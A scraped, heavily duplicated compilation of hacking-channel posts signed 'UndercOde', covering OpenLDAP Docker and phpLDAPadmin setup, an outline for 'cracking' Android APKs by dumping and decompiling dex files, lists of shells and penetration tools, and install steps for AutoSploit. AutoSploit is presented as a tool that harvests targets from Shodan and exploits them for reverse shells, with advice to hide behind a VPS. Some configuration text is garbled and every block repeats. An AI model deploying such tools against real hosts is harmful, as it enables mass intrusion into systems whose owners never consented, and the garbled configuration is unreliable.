> "Tools / Accounts / Add--Directory Service", fill in your server's IP address or the full domain name of the host, select yes in the next screen to allow the directory service to query the address, and finally check the "Directory Service" column just set Click "Properties / Advanced" for the project and fill in
"o = yourdomain, c = us" in "Search Base " .
4) Netscape Please set the corresponding options based on the information above.
π¦ Four. Common usage problems
1) There is no problem to start slapd, but the database cannot be added. An error occurred when running ldapadd "ldap_bind:
cannot contact LDAP Server".
Answer: The most likely reason is that there is no 127.0.0.1 localhost project in / etc / hosts.
2) Pay attention to the query order: If there is content in the address book of Outlook Express, the address book will be given priority when checking the address. If there is no corresponding record in the local address book, then query the LDAP server.
3) Use the following command to make sure that the client and the LDAP server have communication. Run the following command on the server, and then test the address in the OE. You will get the output of querying the connection process of the LDAP database.
# tcpdump port 389
THAT IT
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
"o = yourdomain, c = us" in "Search Base " .
4) Netscape Please set the corresponding options based on the information above.
π¦ Four. Common usage problems
1) There is no problem to start slapd, but the database cannot be added. An error occurred when running ldapadd "ldap_bind:
cannot contact LDAP Server".
Answer: The most likely reason is that there is no 127.0.0.1 localhost project in / etc / hosts.
2) Pay attention to the query order: If there is content in the address book of Outlook Express, the address book will be given priority when checking the address. If there is no corresponding record in the local address book, then query the LDAP server.
3) Use the following command to make sure that the client and the LDAP server have communication. Run the following command on the server, and then test the address in the OE. You will get the output of querying the connection process of the LDAP database.
# tcpdump port 389
THAT IT
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ openLDAP Features > ALL
fb.com/UndercOdeTestingCompany
π¦ ππΌππ πππΈβπ :
1) OpenLDAP is a cross-platform standard Internet protocol based on the X.500 standard protocol.
2) OpenLDAP provides static data query searches without the need to maintain database information through SQL statements as in relational data.
3) OpenLDAP implements data synchronization between nodes based on a push and pull mechanism, referred to as replication, and provides a security authentication mechanism based on TLS and SASL to implement data encryption transmission and Kerberos password authentication functions.
4) OpenLDAP can implement load (LVS, HAProxy) and high-availability solutions based on third-party open source software, and provides authentication services such as Headbeat, Corosync, Keepalived, etc. 24 hours.
5) OpenLDAP data elements use simple text strings (referred to as LDIF files) instead of special characters to facilitate the maintenance and management of directory tree entries.
6) OpenLDAP can implement centralized authentication and management of users. All account changes need only be operated directly on the OpenLDAP server, without having to operate on each client. The scope of influence is global.
7) OpenLDAP uses a simple protocol by default, such as supporting the TCP / IP protocol to transfer entry data. By using a lookup operation to read and write directory tree entry information, it is also possible to obtain directory tree entry information in an encrypted manner.
8) OpenLDAP products are applied to major application platforms (Nginx, HTTP, vsftpd, Samba, SVN, Postfix, OpenStack, Hadoop, etc.), servers (HP, IBM, Dell, etc.) and storage (EMC, NetApp, etc.) consoles, and are responsible for account management Authentication function to achieve unified account management.
9) OpenLDAP implementation has the characteristics of low cost, simple configuration, powerful functions, easy management and open source.
OpenLDAP uses ACL (Access Control List) to flexibly control users' access to data, thereby ensuring data security.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ openLDAP Features > ALL
fb.com/UndercOdeTestingCompany
π¦ ππΌππ πππΈβπ :
1) OpenLDAP is a cross-platform standard Internet protocol based on the X.500 standard protocol.
2) OpenLDAP provides static data query searches without the need to maintain database information through SQL statements as in relational data.
3) OpenLDAP implements data synchronization between nodes based on a push and pull mechanism, referred to as replication, and provides a security authentication mechanism based on TLS and SASL to implement data encryption transmission and Kerberos password authentication functions.
4) OpenLDAP can implement load (LVS, HAProxy) and high-availability solutions based on third-party open source software, and provides authentication services such as Headbeat, Corosync, Keepalived, etc. 24 hours.
5) OpenLDAP data elements use simple text strings (referred to as LDIF files) instead of special characters to facilitate the maintenance and management of directory tree entries.
6) OpenLDAP can implement centralized authentication and management of users. All account changes need only be operated directly on the OpenLDAP server, without having to operate on each client. The scope of influence is global.
7) OpenLDAP uses a simple protocol by default, such as supporting the TCP / IP protocol to transfer entry data. By using a lookup operation to read and write directory tree entry information, it is also possible to obtain directory tree entry information in an encrypted manner.
8) OpenLDAP products are applied to major application platforms (Nginx, HTTP, vsftpd, Samba, SVN, Postfix, OpenStack, Hadoop, etc.), servers (HP, IBM, Dell, etc.) and storage (EMC, NetApp, etc.) consoles, and are responsible for account management Authentication function to achieve unified account management.
9) OpenLDAP implementation has the characteristics of low cost, simple configuration, powerful functions, easy management and open source.
OpenLDAP uses ACL (Access Control List) to flexibly control users' access to data, thereby ensuring data security.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Install openLDAP using docker
Installing openLDAP using docker is very simple.
pinterest.com/UndercOdeOfficial
π¦ ππΌππ πππΈβπ :
1) Run the following command to quickly set up an openLDAP server:
> docker run -p 389:389 -p 689:689 --name my-openldap-container --detach osixia/openldap:1.2.2
2) Parameter explanation:
-p 389:389 Exposing the container's port 389 to the host's port 389
-p 689:689 Exposing container's port 689 to the host's port 689
--name my-openldap-container Name the docker container 'my-openldap-container'
--detach Background process
osixia/openldap:1.2.2 Image name to run
3) After running the above command, an openLDAP service has been created.
4) Run the following command to test if the service started successfully:
> docker exec my-openldap-container ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin
5) If you get a return value similar to the following text, the service started successfully.
# extended LDIF
#
# LDAPv3
# base <dc=example,dc=org> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
[...]
# numResponses: 3
# numEntries: 2
π¦ openLDAP environment variable
1) By --env ]setting the initial values to start the service openLDAP containers, for example:
> docker run --env LDAP_ORGANISATION="My company" --env LDAP_DOMAIN="my-company.com" \
--env LDAP_ADMIN_PASSWORD="JonSn0w" --detach osixia/openldap:1.2.2
2) The common environment variables are as follows:
LDAP_ORGANISATIONname of association. Default is Example Inc.
LDAP_DOMAINLdap domain. Default is example.org
LDAP_BASE_DNLdap base DN. If empty, it is automatically set from the LDAP_DOMAIN value. Default is (empty)
LDAP_ADMIN_PASSWORDLdap administrator password. Default is admin
LDAP_CONFIG_PASSWORDLdap configuration password. Default is config
LDAP_READONLY_USERAdd read-only users. Default is false
LDAP_READONLY_USER_USERNAMERead-only username. Readonly by default
LDAP_READONLY_USER_PASSWORDRead-only user password. Readonly by default
π¦ The environment variables related to TLS are as follows:
LDAP_TLSAdded openldap TLS functionality. Cannot be deleted after set to true. The default is true.
LDAP_TLS_CRT_FILENAMELdap ssl certificate file name. Default is ldap.crt
LDAP_TLS_KEY_FILENAMELdap ssl certificate private key file name. Default is ldap.key
LDAP_TLS_CA_CRT_FILENAMELdap ssl CA certificate file name. Ca.crt by default
LDAP_TLS_ENFORCEEnforce TLS except for ldapi connections. Cannot be disabled after set to true. The default is false.
LDAP_TLS_CIPHER_SUITETLS cipher suite. The default is SECURE256: + SECURE128: -VERS-TLS-ALL: + VERS-TLS1.2: -RSA: -DHE-DSS: -CAMELLIA-128-CBC: -CAMELLIA-256-CBC, based on Red Hat's TLS hardening guide
LDAP_TLS_VERIFY_CLIENTTLS authentication client. Default is demand
π¦ The environment variables related to the copy operation are as follows:
1) LDAP_REPLICATIONAdd openldap replication. The default isfalse
LDAP_REPLICATION_CONFIG_SYNCPROVThe olcSyncRepl option used to configure the database. There are no rids and providers automatically added based on LDAP_REPLICATION_HOSTS. The default isbinddn="cn=admin,cn=config" bindmethod=simple credentials=
> $LDAP_CONFIG_PASSWORD searchbase="cn=config" type=refreshAndPersist retry="60 +" timeout=1 starttls=critical
LDAP_REPLICATION_DB_SYNCPROVOlcSyncRepl option for the database.
2) There are no rids and providers automatically added based on LDAP_REPLICATION_HOSTS. The default is binddn = `` cn = admin,LDAPBASEDN"bindmethod=simplecredentials=LDAP_BASE_DN" bindmethod=simple credentials=L D A P
B
A S E
D
N " b i n d m e t h o d=s i m p l e c r e d e n t i a l s= LDAP_ADMIN_PASSWORD searchbase = β$ LDAP_BASE_DN" type = refreshAndPersist interval = 00: 00: 00: 10 retry = β60 +β timeout = 1 starttls = critical
3) LDAP_REPLICATION_HOSTSThe replication host list must contain the current container host name set by βhostname on the docker run command. The default is:
- ldapοΌ//ldap.example.org
- ldapοΌ//ldap2.example.org
π¦ Install openLDAP using docker
Installing openLDAP using docker is very simple.
pinterest.com/UndercOdeOfficial
π¦ ππΌππ πππΈβπ :
1) Run the following command to quickly set up an openLDAP server:
> docker run -p 389:389 -p 689:689 --name my-openldap-container --detach osixia/openldap:1.2.2
2) Parameter explanation:
-p 389:389 Exposing the container's port 389 to the host's port 389
-p 689:689 Exposing container's port 689 to the host's port 689
--name my-openldap-container Name the docker container 'my-openldap-container'
--detach Background process
osixia/openldap:1.2.2 Image name to run
3) After running the above command, an openLDAP service has been created.
4) Run the following command to test if the service started successfully:
> docker exec my-openldap-container ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin
5) If you get a return value similar to the following text, the service started successfully.
# extended LDIF
#
# LDAPv3
# base <dc=example,dc=org> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
[...]
# numResponses: 3
# numEntries: 2
π¦ openLDAP environment variable
1) By --env ]setting the initial values to start the service openLDAP containers, for example:
> docker run --env LDAP_ORGANISATION="My company" --env LDAP_DOMAIN="my-company.com" \
--env LDAP_ADMIN_PASSWORD="JonSn0w" --detach osixia/openldap:1.2.2
2) The common environment variables are as follows:
LDAP_ORGANISATIONname of association. Default is Example Inc.
LDAP_DOMAINLdap domain. Default is example.org
LDAP_BASE_DNLdap base DN. If empty, it is automatically set from the LDAP_DOMAIN value. Default is (empty)
LDAP_ADMIN_PASSWORDLdap administrator password. Default is admin
LDAP_CONFIG_PASSWORDLdap configuration password. Default is config
LDAP_READONLY_USERAdd read-only users. Default is false
LDAP_READONLY_USER_USERNAMERead-only username. Readonly by default
LDAP_READONLY_USER_PASSWORDRead-only user password. Readonly by default
π¦ The environment variables related to TLS are as follows:
LDAP_TLSAdded openldap TLS functionality. Cannot be deleted after set to true. The default is true.
LDAP_TLS_CRT_FILENAMELdap ssl certificate file name. Default is ldap.crt
LDAP_TLS_KEY_FILENAMELdap ssl certificate private key file name. Default is ldap.key
LDAP_TLS_CA_CRT_FILENAMELdap ssl CA certificate file name. Ca.crt by default
LDAP_TLS_ENFORCEEnforce TLS except for ldapi connections. Cannot be disabled after set to true. The default is false.
LDAP_TLS_CIPHER_SUITETLS cipher suite. The default is SECURE256: + SECURE128: -VERS-TLS-ALL: + VERS-TLS1.2: -RSA: -DHE-DSS: -CAMELLIA-128-CBC: -CAMELLIA-256-CBC, based on Red Hat's TLS hardening guide
LDAP_TLS_VERIFY_CLIENTTLS authentication client. Default is demand
π¦ The environment variables related to the copy operation are as follows:
1) LDAP_REPLICATIONAdd openldap replication. The default isfalse
LDAP_REPLICATION_CONFIG_SYNCPROVThe olcSyncRepl option used to configure the database. There are no rids and providers automatically added based on LDAP_REPLICATION_HOSTS. The default isbinddn="cn=admin,cn=config" bindmethod=simple credentials=
> $LDAP_CONFIG_PASSWORD searchbase="cn=config" type=refreshAndPersist retry="60 +" timeout=1 starttls=critical
LDAP_REPLICATION_DB_SYNCPROVOlcSyncRepl option for the database.
2) There are no rids and providers automatically added based on LDAP_REPLICATION_HOSTS. The default is binddn = `` cn = admin,LDAPBASEDN"bindmethod=simplecredentials=LDAP_BASE_DN" bindmethod=simple credentials=L D A P
B
A S E
D
N " b i n d m e t h o d=s i m p l e c r e d e n t i a l s= LDAP_ADMIN_PASSWORD searchbase = β$ LDAP_BASE_DN" type = refreshAndPersist interval = 00: 00: 00: 10 retry = β60 +β timeout = 1 starttls = critical
3) LDAP_REPLICATION_HOSTSThe replication host list must contain the current container host name set by βhostname on the docker run command. The default is:
- ldapοΌ//ldap.example.org
- ldapοΌ//ldap2.example.org
4) If you want to set this variable in the docker run command, add the tag # PYTHON2BASH: and convert yaml in python:
docker run --env LDAP_REPLICATION_HOSTS="#PYTHON2BASH:['ldap://ldap.example.org','ldap://ldap2.example.org']" --detach osixia/openldap:1.2.2
5) Other environment variables are as follows:
KEEP_EXISTING_CONFIGDo not change the ldap configuration. The default isfalse
trueοΌconfigγimage tlsLDAP_ADMIN_PASSWORDεLDAP_CONFIG_PASSWORD
trueοΌ]bootstap lschemaοΌreplication configγ
LDAP_REMOVE_CONFIG_AFTER_SETUPDelete the configuration folder after installation. The default istrue
6) LDAP_SSL_HELPER_PREFIXssl-helper environment variable prefix. The default is ldap, and ssl-helper first searches for the configuration from the LDAP_SSL_HELPER_ * variables before the SSL_HELPER_ * variables.
7) HOSTNAMESet the host name of the running openldap server. Defaults to anything created by docker.
8) openLDAP data persistence
Add the following parameters to the docker run command to save the LDAP database file and LDAP configuration file outside the container. The same two parameters are added next time the container is re-created, that is, the existing ldap database can be used.
--volume /data/slapd/database:/var/lib/ldap \
--volume /data/slapd/config:/etc/ldap/slapd.d \
9) Install phpLDAPadmin
Install Apache and PHP
yum -y install httpd php php-ldap php-gd php-mbstring php-pear php-bcmath php-xml
10) Download phpldapadmin
wget https://nchc.dl.sourceforge.net/project/phpldapadmin/phpldapadmin-php5/1.2.3/phpldapadmin-1.2.3.tgz
Unzip phpldapadmin
tar -zxf phpldapadmin-1.2.3.tgz
11) Put the phpldapadmin directory under / var / www / html
mv phpldapadmin-1.2.3 /var/www/html/phpldapadmin
12) Modify the configuration file
cd /var/www/html/phpldapadmin/config
cp config.php.example config.php
vim config.php
13) The configuration file is modified as follows:
$servers->newServer('ldap_pla');
$servers->setValue('server','name','LDAP Server');
$servers->setValue('server','host','127.0.0.1');
$servers->setValue('server','port',389);
$servers->setValue('server','base',array('[openLDAP'));/οΌdc=example,dc=org*/
$servers->setValue('login','auth_type','session');
$servers->setValue('login','bind_id','openLDAP]');/*=οΌcn=admin,dc=example,dc=org*/
$servers->setValue('login','bind_pass','[openLDAP]');/*οΌadmin*/
$servers->setValue('server','tls',false);
14) Start httpd service
systemctl start httpd
15) If you need to modify the configuration file, you need to modify the config.phpfile and restart the httpd service.systemctl restart httpd
16) After configuration, http://[ip]/phpldapadminyou can access it by typing in the browser . Note that you need to open port 80 or close the firewall
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
docker run --env LDAP_REPLICATION_HOSTS="#PYTHON2BASH:['ldap://ldap.example.org','ldap://ldap2.example.org']" --detach osixia/openldap:1.2.2
5) Other environment variables are as follows:
KEEP_EXISTING_CONFIGDo not change the ldap configuration. The default isfalse
trueοΌconfigγimage tlsLDAP_ADMIN_PASSWORDεLDAP_CONFIG_PASSWORD
trueοΌ]bootstap lschemaοΌreplication configγ
LDAP_REMOVE_CONFIG_AFTER_SETUPDelete the configuration folder after installation. The default istrue
6) LDAP_SSL_HELPER_PREFIXssl-helper environment variable prefix. The default is ldap, and ssl-helper first searches for the configuration from the LDAP_SSL_HELPER_ * variables before the SSL_HELPER_ * variables.
7) HOSTNAMESet the host name of the running openldap server. Defaults to anything created by docker.
8) openLDAP data persistence
Add the following parameters to the docker run command to save the LDAP database file and LDAP configuration file outside the container. The same two parameters are added next time the container is re-created, that is, the existing ldap database can be used.
--volume /data/slapd/database:/var/lib/ldap \
--volume /data/slapd/config:/etc/ldap/slapd.d \
9) Install phpLDAPadmin
Install Apache and PHP
yum -y install httpd php php-ldap php-gd php-mbstring php-pear php-bcmath php-xml
10) Download phpldapadmin
wget https://nchc.dl.sourceforge.net/project/phpldapadmin/phpldapadmin-php5/1.2.3/phpldapadmin-1.2.3.tgz
Unzip phpldapadmin
tar -zxf phpldapadmin-1.2.3.tgz
11) Put the phpldapadmin directory under / var / www / html
mv phpldapadmin-1.2.3 /var/www/html/phpldapadmin
12) Modify the configuration file
cd /var/www/html/phpldapadmin/config
cp config.php.example config.php
vim config.php
13) The configuration file is modified as follows:
$servers->newServer('ldap_pla');
$servers->setValue('server','name','LDAP Server');
$servers->setValue('server','host','127.0.0.1');
$servers->setValue('server','port',389);
$servers->setValue('server','base',array('[openLDAP'));/οΌdc=example,dc=org*/
$servers->setValue('login','auth_type','session');
$servers->setValue('login','bind_id','openLDAP]');/*=οΌcn=admin,dc=example,dc=org*/
$servers->setValue('login','bind_pass','[openLDAP]');/*οΌadmin*/
$servers->setValue('server','tls',false);
14) Start httpd service
systemctl start httpd
15) If you need to modify the configuration file, you need to modify the config.phpfile and restart the httpd service.systemctl restart httpd
16) After configuration, http://[ip]/phpldapadminyou can access it by typing in the browser . Note that you need to open port 80 or close the firewall
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Crack any android apk process by UndercOde 2 main methodes >
Briefly describe the generation process of Android apk:
t.me/UndercOdeTesting
π¦ ππΌππ πππΈβπ :
1) java source code
2) java apk Compile
3) class file
4) dxTool conversion and packaging compression
5) Add third-party, other library files
6) dex file
7) apkbuilder packaging
8) Plus other resource files resources.arsc, other libraries, etc.
(Unsigned) apk file
9) jarsigner to sign + zipalign to process
(Signed) apk file
10) Can be used to publish and list various Android application markets
11) Download and install trial for ordinary users
@UndercOdeTesting
π¦ I want to crack the Android apk, which is the reverse operation:
1) Reverse (hook to dump) the dex file from the apk (the app during the runtime)
2) If it is ordinary reinforcement
3) You can successfully export dex with tools such as FDex2
4) If it is an advanced reinforcement solution
5) It is more difficult to estimate
6) Decompile the jar package from the dex file (there are various classes inside)
7) Some dex decompilation will cause various errors
8) It is estimated that the reinforcement scheme is more advanced.
9) Some dex decompiles without error
10) If it is the code that we want to include the app business logic
11) Then the Java source code of the program can be perfectly cracked afterwards
12) Decompile the java source code from the jar package
13) You can view and export all java source code
note:
> Currently if the code was previously obfuscated
14) Finally here is the obfuscated code
π¦ It's not easy to see the business logic of the original code
Description
1) This process corresponds to the previous compilation, so the strict name is called:
> Decompile = decompile
2) The corresponding tool is called: decompiler
Decompiler = decoder = decompiler
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Crack any android apk process by UndercOde 2 main methodes >
Briefly describe the generation process of Android apk:
t.me/UndercOdeTesting
π¦ ππΌππ πππΈβπ :
1) java source code
2) java apk Compile
3) class file
4) dxTool conversion and packaging compression
5) Add third-party, other library files
6) dex file
7) apkbuilder packaging
8) Plus other resource files resources.arsc, other libraries, etc.
(Unsigned) apk file
9) jarsigner to sign + zipalign to process
(Signed) apk file
10) Can be used to publish and list various Android application markets
11) Download and install trial for ordinary users
@UndercOdeTesting
π¦ I want to crack the Android apk, which is the reverse operation:
1) Reverse (hook to dump) the dex file from the apk (the app during the runtime)
2) If it is ordinary reinforcement
3) You can successfully export dex with tools such as FDex2
4) If it is an advanced reinforcement solution
5) It is more difficult to estimate
6) Decompile the jar package from the dex file (there are various classes inside)
7) Some dex decompilation will cause various errors
8) It is estimated that the reinforcement scheme is more advanced.
9) Some dex decompiles without error
10) If it is the code that we want to include the app business logic
11) Then the Java source code of the program can be perfectly cracked afterwards
12) Decompile the java source code from the jar package
13) You can view and export all java source code
note:
> Currently if the code was previously obfuscated
14) Finally here is the obfuscated code
π¦ It's not easy to see the business logic of the original code
Description
1) This process corresponds to the previous compilation, so the strict name is called:
> Decompile = decompile
2) The corresponding tool is called: decompiler
Decompiler = decoder = decompiler
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Shells
best base base shell used by Hackers
>twitter.com/UndercOdeTC
π¦ ππΌππ πππΈβπ :
1) bash - GNU Project's shell (Bourne Again SHell)
> https://www.gnu.org/software/bash/
2) elvish - Friendly, expressive shell features like anonymous functions and data structures
> https://elv.sh/
3) fish - Smart and user-friendly command line shell
> https://fishshell.com/
4) ksh93 - Korn Shell
>https://github.com/att/ast
5) mksh - MirBSD Korn Shell
>
6) nushell - A modern shell written in Rust
7) oksh - Portable OpenBSD ksh
8) osh - Bash compatible, with new/modern Unix shell language called Oil
9) pdksh - Public domain Korn shell
10) shell++ - Friendly and modern functional and object oriented shell script language
11) shenv - Simple shell version management
12) tcsh - C shell with file name completion and command line editing
13) xiki - Makes the shell console more friendly and powerful
14) xonsh - Python-ish, BASHwards-looking shell language and command prompt
15) yash - A POSIX-compliant command line shell with built-in support for completion and prediction based on command history
16) zsh - Powerful shell with scripting language
>https://github.com/nushell/nushell
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Shells
best base base shell used by Hackers
>twitter.com/UndercOdeTC
π¦ ππΌππ πππΈβπ :
1) bash - GNU Project's shell (Bourne Again SHell)
> https://www.gnu.org/software/bash/
2) elvish - Friendly, expressive shell features like anonymous functions and data structures
> https://elv.sh/
3) fish - Smart and user-friendly command line shell
> https://fishshell.com/
4) ksh93 - Korn Shell
>https://github.com/att/ast
5) mksh - MirBSD Korn Shell
>
6) nushell - A modern shell written in Rust
7) oksh - Portable OpenBSD ksh
8) osh - Bash compatible, with new/modern Unix shell language called Oil
9) pdksh - Public domain Korn shell
10) shell++ - Friendly and modern functional and object oriented shell script language
11) shenv - Simple shell version management
12) tcsh - C shell with file name completion and command line editing
13) xiki - Makes the shell console more friendly and powerful
14) xonsh - Python-ish, BASHwards-looking shell language and command prompt
15) yash - A POSIX-compliant command line shell with built-in support for completion and prediction based on command history
16) zsh - Powerful shell with scripting language
>https://github.com/nushell/nushell
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Custom prompts, color themes, Best tools for Linux Os-Free-opensources @Github repo
pinterest.com/UndercOdeOfficial
π¦ ππΌππ πππΈβπ :
1) base16-builder - Base16-Builder
2) bash-full-of-colors - Powerful prompt with screen, tmux, git support and many more
3) bash-git-prompt - An informative and fancy Bash prompt for Git users
4) bash-powerline - Powerline-style Bash prompt in pure Bash script
5) bashstrap - A quick way to spruce up OSX terminal
6) bullet-train-oh-my-zsh-theme - An oh-my-zsh shell theme based on the Powerline Vim plugin
6) emojify Emoji on the command line
7) flatui-terminal-theme - Nicer colors for terminal
8) geometry - A minimal ZSH theme where any function can be added to the left prompt or (async) right prompt on the fly.
9) git-prompt - Bash prompt with Git, SVN and HG modules
10) gittify - A colorful Bash prompt + customized Git aliases
11) Gogh - Color Scheme - Color Scheme for Gnome Terminal
12) liquidprompt - A full-featured & carefully designed adaptive prompt for Bash & Zsh
13) mysql-colorize - Colorization for mysql comand-line client
14) oh-my-git - An opinionated git prompt for bash and zsh
15) polyglot - An informative Git prompt that works in bash, zsh, ksh, mksh, pdksh, dash, and busybox sh
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Custom prompts, color themes, Best tools for Linux Os-Free-opensources @Github repo
pinterest.com/UndercOdeOfficial
π¦ ππΌππ πππΈβπ :
1) base16-builder - Base16-Builder
2) bash-full-of-colors - Powerful prompt with screen, tmux, git support and many more
3) bash-git-prompt - An informative and fancy Bash prompt for Git users
4) bash-powerline - Powerline-style Bash prompt in pure Bash script
5) bashstrap - A quick way to spruce up OSX terminal
6) bullet-train-oh-my-zsh-theme - An oh-my-zsh shell theme based on the Powerline Vim plugin
6) emojify Emoji on the command line
7) flatui-terminal-theme - Nicer colors for terminal
8) geometry - A minimal ZSH theme where any function can be added to the left prompt or (async) right prompt on the fly.
9) git-prompt - Bash prompt with Git, SVN and HG modules
10) gittify - A colorful Bash prompt + customized Git aliases
11) Gogh - Color Scheme - Color Scheme for Gnome Terminal
12) liquidprompt - A full-featured & carefully designed adaptive prompt for Bash & Zsh
13) mysql-colorize - Colorization for mysql comand-line client
14) oh-my-git - An opinionated git prompt for bash and zsh
15) polyglot - An informative Git prompt that works in bash, zsh, ksh, mksh, pdksh, dash, and busybox sh
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Tools needed for secure penetration-Any Linux OS 2020
instagram.com/UndercOdeTestingCompany
π¦ ππΌππ πππΈβπ :
Tools required for penetration :
splint unhide scrub
pscan examiner ht
flawfinder srm driftnet
rats nwipe binwalk
ddrescue firstaidkit-gui scalpel
gparted xmount pdfcrack
testdisk dc3dd wipe
foremost afftools safecopy
sectool-gui scanmem hfsutils
unhide sleuthkit cmospwd
examiner macchanger secuirty-menus
srm ngrep nc6
nwipe ntfs-3g mc
firstaidkit-gui ntfsprogs screen
net-snmp pcapdiff openvas-scanner
hexedit netsed rkhunter
irssi dnstop labrea
powertop sslstrip nebula
mutt bonesi tripwire
nano proxychains prelude-lml
vim-enhanced prewikka iftop
wget prelude-manager scamper
yum-utils picviz-gui iptraf-ng
mcabber telnet iperf
firstaidkit-plugin-all onenssh nethogs
vnstat dnstracer uperf
aircrack-ng chkrootkit nload
airsnort aide ntop
kismet pads trafshow
weplab cowpatty wavemon
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Tools needed for secure penetration-Any Linux OS 2020
instagram.com/UndercOdeTestingCompany
π¦ ππΌππ πππΈβπ :
Tools required for penetration :
splint unhide scrub
pscan examiner ht
flawfinder srm driftnet
rats nwipe binwalk
ddrescue firstaidkit-gui scalpel
gparted xmount pdfcrack
testdisk dc3dd wipe
foremost afftools safecopy
sectool-gui scanmem hfsutils
unhide sleuthkit cmospwd
examiner macchanger secuirty-menus
srm ngrep nc6
nwipe ntfs-3g mc
firstaidkit-gui ntfsprogs screen
net-snmp pcapdiff openvas-scanner
hexedit netsed rkhunter
irssi dnstop labrea
powertop sslstrip nebula
mutt bonesi tripwire
nano proxychains prelude-lml
vim-enhanced prewikka iftop
wget prelude-manager scamper
yum-utils picviz-gui iptraf-ng
mcabber telnet iperf
firstaidkit-plugin-all onenssh nethogs
vnstat dnstracer uperf
aircrack-ng chkrootkit nload
airsnort aide ntop
kismet pads trafshow
weplab cowpatty wavemon
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ 2019 later update-topic exploite script :
pinterest.com/UndercodeOfficial
π¦Features :
1) As the name might suggest AutoSploit attempts to automate the exploitation of remote hosts.
2) Targets can be collected automatically through Shodan, Censys or Zoomeye.
> But options to add your custom targets and host lists have been included as well.
3) The available Metasploit modules have been selected to facilitate Remote Code Execution and to attempt to gain Reverse TCP Shells and/or Meterpreter sessions. Workspace, local host and local port for MSF facilitated back connections are configured by filling out the dialog that comes up before the exploit component is started
4) Operational Security Consideration:
Receiving back connections on your local machine might not be the best idea from an OPSEC standpoint. Instead consider running this tool from a VPS that has all the dependencies required, available.
5) The new version of AutoSploit has a feature that allows you to set a proxy before you connect and a custom user-agent.
π¦πβπππΈπππππΈπππβ & βπβ
> Docker Compose
Using Docker Compose is by far the easiest way to get AutoSploit up and running without too much of a hassle.
1) git clone https://github.com/NullArray/AutoSploit.git
2) cd Autosploit/Docker
3) docker-compose run --rm autosploit
Docker
π¦ Just using Docker.
1) git clone https://github.com/NullArray/AutoSploit.git
2) cd Autosploit/Docker
# If you wish to edit default postgres service details, edit database.yml. Should work out of the box
# nano database.yml
> docker network create -d bridge haknet
> docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres
> docker build -t autosploit .
> docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit
π¦Any Linux
1) git clone https://github.com/NullArray/AutoSploit
2) cd AutoSploit
3) chmod +x install.sh
4) ./install.sh
π¦ MacOs
> AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. In order to accomplish this employ/perform the below operations via the terminal or in the form of a shell script.
1) > sudo -s << '_EOF'
2) pip2 install virtualenv --user
3) git clone https://github.com/NullArray/AutoSploit.git
4) virtualenv <PATH-TO-YOUR-ENV>
5) source <PATH-TO-YOUR-ENV>/bin/activate
6) cd <PATH-TO-AUTOSPLOIT>
7) pip2 install -r requirements.txt
8) chmod +x install.sh
9) ./install.sh
10) python autosploit.py
_EOF
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ 2019 later update-topic exploite script :
pinterest.com/UndercodeOfficial
π¦Features :
1) As the name might suggest AutoSploit attempts to automate the exploitation of remote hosts.
2) Targets can be collected automatically through Shodan, Censys or Zoomeye.
> But options to add your custom targets and host lists have been included as well.
3) The available Metasploit modules have been selected to facilitate Remote Code Execution and to attempt to gain Reverse TCP Shells and/or Meterpreter sessions. Workspace, local host and local port for MSF facilitated back connections are configured by filling out the dialog that comes up before the exploit component is started
4) Operational Security Consideration:
Receiving back connections on your local machine might not be the best idea from an OPSEC standpoint. Instead consider running this tool from a VPS that has all the dependencies required, available.
5) The new version of AutoSploit has a feature that allows you to set a proxy before you connect and a custom user-agent.
π¦πβπππΈπππππΈπππβ & βπβ
> Docker Compose
Using Docker Compose is by far the easiest way to get AutoSploit up and running without too much of a hassle.
1) git clone https://github.com/NullArray/AutoSploit.git
2) cd Autosploit/Docker
3) docker-compose run --rm autosploit
Docker
π¦ Just using Docker.
1) git clone https://github.com/NullArray/AutoSploit.git
2) cd Autosploit/Docker
# If you wish to edit default postgres service details, edit database.yml. Should work out of the box
# nano database.yml
> docker network create -d bridge haknet
> docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres
> docker build -t autosploit .
> docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit
π¦Any Linux
1) git clone https://github.com/NullArray/AutoSploit
2) cd AutoSploit
3) chmod +x install.sh
4) ./install.sh
π¦ MacOs
> AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. In order to accomplish this employ/perform the below operations via the terminal or in the form of a shell script.
1) > sudo -s << '_EOF'
2) pip2 install virtualenv --user
